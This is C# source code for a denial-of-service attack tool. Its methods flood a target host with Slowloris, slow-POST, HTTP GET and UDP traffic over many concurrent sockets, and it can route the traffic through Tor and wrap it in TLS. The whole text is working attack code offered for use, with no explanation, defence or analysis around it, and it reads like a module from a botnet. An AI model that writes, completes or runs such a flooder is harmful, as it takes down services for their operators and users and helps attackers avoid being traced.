void SendSlowpost(CDenialSocket AttackSocket) { string strRandomPOSTData = CUtils.RandomString(CUtils.RandomInt(25, 100)); string strBuffer = string.Format( "POST {0} HTTP/1.1\r\nHost: {1}\r\nUser-Agent: Mozilla/5.0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: {2}\r\nConnection: close\r\n\r\n", this.m_strPage, this.m_strHost, strRandomPOSTData.Length ); byte[] arr_bBuffer = UTF8Encoding.Default.GetBytes(strBuffer); if (AttackSocket.SendBuffer(arr_bBuffer)) { return; } foreach (char c in strRandomPOSTData.ToCharArray()) { if (!AttackSocket.SendBuffer(new byte[] { (byte)c })) { break; } Thread.Sleep(CUtils.RandomInt(1000, 3000)); } }
void SendSlowloris(CDenialSocket AttackSocket) { string strBuffer = string.Format( "GET {0} HTTP/1.1\r\nHost: {1}\r\nUser-Agent: Mozilla 4.0\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: {2}\r\n", this.m_strPage, this.m_strHost, CUtils.RandomInt(30, 90) ); byte[] arr_bBuffer = UTF8Encoding.Default.GetBytes(strBuffer); if (!AttackSocket.SendBuffer(arr_bBuffer)) { return; } arr_bBuffer = UTF8Encoding.Default.GetBytes("X-a: b\r\n"); while (this.ShouldAttack()) { if (!AttackSocket.SendBuffer(arr_bBuffer)) { break; } Thread.Sleep(100); } }
void SendHttpGet(CDenialSocket AttackSocket) { string strBuffer = string.Format( "GET {0} HTTP/1.1\r\nHost: {1}\r\nUser-Agent: Mozilla 4.0\r\nConnection: close\r\n\r\n", this.m_strPage, this.m_strHost ); byte[] arr_bBuffer = UTF8Encoding.Default.GetBytes(strBuffer); if (!AttackSocket.SendBuffer(arr_bBuffer)) { return; } if (CUtils.RandomInt(1, 2) == 2) { return; } arr_bBuffer = new byte[8192]; int iRead = -1; while (iRead != 0) { try { iRead = AttackSocket.ClientStream == null?AttackSocket.ClientSocket.Receive(arr_bBuffer) : AttackSocket.ClientStream.Read(arr_bBuffer, 0, arr_bBuffer.Length); } catch { iRead = 0; } } }
void TCP_BeginConnect_Callback(IAsyncResult iar) { CDenialSocket AttackSocket = null; try { AttackSocket = (CDenialSocket)iar.AsyncState; try { AttackSocket.ClientSocket.EndConnect(iar); if (this.m_bUseTor) { this.AuthorizeSocks(this.m_strHost, (short)this.m_iPort, AttackSocket.ClientSocket); } if (this.m_bUseSSL) { AttackSocket.ClientStream = new SslStream(new NetworkStream(AttackSocket.ClientSocket), false, new RemoteCertificateValidationCallback(this.ValidateServerCertificate)); AttackSocket.ClientStream.AuthenticateAsClient(Environment.MachineName); } switch (this.m_AttackType.GetAttackType()) { case ATTACK_TYPE.HTTPGET: this.SendHttpGet(AttackSocket); break; case ATTACK_TYPE.SLOWLORIS: this.SendSlowloris(AttackSocket); break; case ATTACK_TYPE.SLOWPOST: this.SendSlowloris(AttackSocket); break; default: AttackSocket.CalcInfo(0); break; } } catch { } AttackSocket.ClientSocket.Close(); Thread.Sleep(this.m_iInterval); if (this.ShouldAttack()) { AttackSocket.ClientSocket = new Socket(AddressFamily.InterNetwork, SocketType.Stream, ProtocolType.Tcp); AttackSocket.ClientSocket.BeginConnect((EndPoint)this.GetEndPoint(), new AsyncCallback(TCP_BeginConnect_Callback), AttackSocket); } else { AttackSocket.OnData -= AttackSocket_OnData; } } catch { } }
void UDP_BeginSendTo_Callback(IAsyncResult iar) { CDenialSocket AttackSocket = null; //Socket sockClient = null; try { AttackSocket = (CDenialSocket)iar.AsyncState; try { Int32 iSent = AttackSocket.ClientSocket.EndSendTo(iar); AttackSocket.CalcInfo(iSent); } catch { } AttackSocket.ClientSocket.Close(); /* * ToDo: PPS and Rate */ if (this.ShouldAttack()) { Thread.Sleep(m_iInterval); Byte[] arr_bUDPBuffer = CUtils.RandomBytes(CUtils.RandomInt(128, 512)); AttackSocket.ClientSocket = new Socket(AddressFamily.InterNetwork, SocketType.Dgram, ProtocolType.Udp); AttackSocket.ClientSocket.BeginSendTo(arr_bUDPBuffer, 0, arr_bUDPBuffer.Length, SocketFlags.None, (EndPoint) new IPEndPoint(CUtils.ResolveHost(this.m_strHost), this.m_iPort == 0 ? CUtils.RandomInt(80, 65000) : this.m_iPort), new AsyncCallback(UDP_BeginSendTo_Callback), AttackSocket); } else { AttackSocket.OnData -= AttackSocket_OnData; } } catch (Exception ex) { #if DEBUG Console.WriteLine("UDP_BeginSendTo_Callback :: Exception: {0}", ex.ToString()); #endif } }
public bool StartAttack() { if (String.IsNullOrEmpty(this.m_strHost) || !this.m_AttackType.IsValid()) { return(false); } try { m_bIsRunning = true; new Thread(delegate() { try { for (int i = 0; i < m_iSockets; i++) { CDenialSocket AttackSocket = new CDenialSocket(); AttackSocket.ClientSocket = new Socket(AddressFamily.InterNetwork, this.m_AttackType.GetAttackType() == ATTACK_TYPE.UDP ? SocketType.Dgram : SocketType.Stream, this.m_AttackType.GetAttackType() == ATTACK_TYPE.UDP ? ProtocolType.Udp : ProtocolType.Tcp); AttackSocket.OnData += AttackSocket_OnData; if (this.m_AttackType.GetAttackType() == ATTACK_TYPE.UDP) { byte[] arr_bDatagram = CUtils.RandomBytes(CUtils.RandomInt(128, 256)); AttackSocket.ClientSocket.BeginSendTo(arr_bDatagram, 0, arr_bDatagram.Length, SocketFlags.None, (EndPoint)this.GetEndPoint(), new AsyncCallback(this.UDP_BeginSendTo_Callback), AttackSocket); } else { AttackSocket.ClientSocket.BeginConnect((EndPoint)this.GetEndPoint(), new AsyncCallback(TCP_BeginConnect_Callback), AttackSocket); } } } catch { } }).Start(); return(m_bIsRunning); } catch { m_bIsRunning = false; } return(m_bIsRunning); }